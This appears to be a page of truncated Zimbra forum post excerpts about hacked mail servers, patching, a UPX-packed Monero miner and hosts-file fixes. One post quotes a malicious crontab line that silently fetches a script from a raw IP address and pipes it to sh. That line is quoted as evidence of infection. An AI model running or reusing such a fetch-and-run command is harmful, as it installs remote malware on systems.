the same here, after apply patch and runned fixed permissions son webapps because AJAX version isn't working. zmfixperms isn't working with this. Any solution? How about your server has possibly been hacked/compromised? Search the forums for the relevant threads, read those and see if it applies to...

yvespires wrote:Is this patch cumulative?

Does the search function of these forums not work any longer, is it not possible to read the product documentation or the Release Notes? If you had done any of those thing you'd know that patches in Zimbra are cumulative!!!

sibercintra wrote:But the question that does not want to be silent is how to correct the vunerability so that another attack does not occur.

If you look in the forums you'll find out how to clean this hack from your server, you should then make sure your server is patched and at the most recent released version.

The /opt/zimbra/log/zmswatch.sh script runs executable /opt/zimbra/log/zmswatch. /opt/zimbra/log/zmswatch is packaged with Ultimate Packer for eXecutables. After unpacking, I opend it using text editor and found, among other things, the configuration of monero miner. url": "pool.supportxm...

amctecnologia wrote:So is mine:

Then why are you wasting time posting a 'me too' post instead of fixing your system. You've been HACKED and you n eed to clean and patch your server, full details are in the forums.

Same * * * * * wget -q -O - http://93.113.108.146:443/cr.sh | sh > /dev/null 2>&1 */15 * * * * sh /opt/zimbra/log/zmswatch.sh; Instead of posting a 'me too' comment it would have been to your advantage to read the whole of this thread then read the forum thread that tells you how to clean your ...

Sorry, I forgot to add that the following line is also incorrect: 127.0.0.1 (servername) It should be as follows: 127.0.0.1 localhost.localdomain localhost I'm a lso assuming the "webmail" is the hostname of your ZCS server, if it's not then my previous post is also incorrect. The hosts fi...

The following line is incorrect:



It should read as follows:

That's mentioned in the Split DNS wiki article in detail (and all over the forums).

Then I guess you have an infection somewhere on your LAN. Doesn't the output of your netstat command earlier show the 'local address' and the 'foreign address' to be a LAN IP address?

So I'm very confused. So am I by your comments. How can you be seeing a 'brute force attack' on your port 7073 if it's not exposed to the internet? Have you checked if there's any infected machines on your lo cal network? Have you also checked to see if your Zimbra server has been compromised (poss...